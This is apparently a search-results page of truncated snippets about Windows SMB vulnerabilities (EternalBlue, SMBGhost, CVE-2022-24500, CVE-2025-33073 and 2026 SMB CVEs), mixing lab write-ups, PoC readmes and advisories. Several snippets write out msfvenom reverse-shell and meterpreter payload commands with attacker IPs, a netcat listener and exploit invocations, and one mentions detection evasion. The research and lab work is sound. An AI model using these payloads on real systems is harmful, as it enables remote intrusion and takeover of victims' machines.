391 matches found
SMB-Protocol-Vulnerability_CVE-2017-0144
LAB: SMBプロトコルの脆弱性を利用したWindows OS攻撃 1. 説明 2. 概要 3. 準備 4. 攻撃の実行 5. 防御方法 1. 説明 このラボでは、2台のコンピュータを使用して、Windows OSのSMBプロトコルの脆弱性を利用した攻撃をシミュレーションします。1台はKali Linux OSを実行し、攻撃者（ハッカー）の役割を担います。もう1台は被害者（victim）の役割を担うコンピュータです。被害者マシンはSMB脆弱性を含むWindows 7 64ビットOSを実行しています。これを行うために、Kali Linuxマシン上で EternalBlue...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker msfvenom を使用してペイロードを生成する: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: ペイロードを指定します（Windows用のリバースTCPシェル）。 LHOST=10.10.14.4: 攻撃者のIPアドレス（ターゲットが接続し返す先）。 LPORT=443:...
SMBGhost-LPE-Metasploit-Module
SMBGhost-LPE-Metasploit-Module 这是一个针对CVE-2020-0796（又名SMBGhost）漏洞的实现，兼容Metasploit Framework。 注意事项： 此模块设计为在您拥有有效Shell时用于提升权限。 您可以更改有效载荷，如果您想使用自定义的DLL Shellcode，或者以某种方式对其进行编码。 可执行文件经过修改以规避检测，并使其能够运行并注入DLL Shellcode。 演示 致谢 感谢漏洞利用的作者 Daniel García Gutiérrez, Manuel Blanco Parajón。 同时感谢Spencer...
Vulnerability-Research-CVE-2017-0144
Vulnerability-Research-CVE-2017-0144 LAB: SMBプロトコルの脆弱性を利用したWindows OSへの攻撃 I. 説明 このラボでは、2台のコンピュータを使用して、Windows OSのSMBプロトコルの脆弱性を利用した攻撃をシミュレートします。1台はKali Linux OSを搭載しており、攻撃者（ハッカー）の役割を果たします。もう1台は被害者マシン（victim）の役割を果たします。被害者マシンは、SMBの脆弱性を含むWindows 7 64ビットOSを実行しています。これを実現するために、Kali...
SMBGhost_RCE_PoC
SMBGhostRCEPoC CVE-2020-0796「SMBGhost」のRCE PoC デモンストレーション目的のみ！ これは参考としてのみ使用してください。本当です。自身のラボ環境以外ではテストしていません。迅速に作成したもので、信頼性を高めるにはもう少し手を加える必要があります。時々BSODが発生します。自己学習以外の目的で使用することは極めて悪い考えです。あなたのコンピュータは炎上します。子犬が死にます。 さて、それはさておき… 使用例: root@kitploit: $SMBGhostRCEPoC python exploit.py -ip 192.168.142.131 ...
CVE-2020-0796
CVE-2020-0796 CVE-2020-0796 の脆弱性の説明と研究（学期プロジェクトCENG325の初心者向け） 悪用方法？ リバースシェルのペイロード生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python リスニングポート： nc -lvnp 5555 エクスプロイトコードの実行： python3 exploit.py -ip TARGETIP PoC リポジトリ...
Blackash-CVE-2025-33073
✨ CVE-2025-33073: Windows SMB RCE 脆弱性 🚨 🔥 高重大度の認証済みリモートコード実行 🔥 Windows SMB クライアントにおける不適切なアクセス制御 CWE-284 🛡️ 主な詳細概要...
windows-smb-vulnerability-framework-cve-2025-33073
Windows SMB 客户端漏洞研究框架 作者： cyberseallll 创建时间： 2025 概述 我开发了这个研究框架，用于分析和理解 CVE-2025-33073，这是一个严重的 Windows SMB 客户端权限提升漏洞。该实现为漏洞研究和受控测试环境提供了全面的工具。 漏洞详情 CVE-2025-33073 是一个可通过网络访问的权限提升漏洞，影响 Windows SMB 客户端实现。该漏洞源于 SMB 协议栈中不正确的访问控制机制。 技术规格 CVSS 评分 ：8.8（高危） 漏洞类型 ：CWE-284（访问控制不当） 攻击向量 ：网络 影响 ：权限提升 用户交互 ：无...
CVE-2022-26937
Windows ネットワーク ファイル システム クラッシュ PoC CVE-2022-26937 root@kitploit: nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data...
CVE-2025-33073
CVE-2025-33073 — Windows SMB クライアント NTLM リフレクション権限昇格 EoP Sentinel AI Defense による調査レポート。防御的分析のみを目的としており、実働するエクスプロイト や PoC は公開されていません。 Windows SMB クライアントの不適切なアクセス制御の欠陥であり、緩和されたと考えられていた NTLM リフレクション技術を 復活させます。攻撃者がホストを強制して高権限の認証コンテキストを自身にリフレクションさせ、NT AUTHORITY\SYSTEM へ権限昇格できるようにします。 📄 完全なレポート:...
CVE-2022-24500
CVE-2022-24500 RCE エクスプロイト Windows SMB リモートコード実行の脆弱性 脆弱性: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 ステップ1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin ステップ2 root@kitploit: msf5 use...
CVE-2026-72936
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-69618
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally...
CVE-2026-69572
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network...
CVE-2026-69544
Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...
CVE-2026-69403
Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...
CVE-2026-69374
Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...
EUVD-2026-73664
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-72936
CVE-2026-72936 is a use-after-free vulnerability in the Windows SMB Client that allows an unauthorized, remote attacker to achieve remote code execution over the network. The CVSS 3.1 base score is 8.1 (HIGH) , reflecting a network attack vector with high complexity, no required privileges, and n...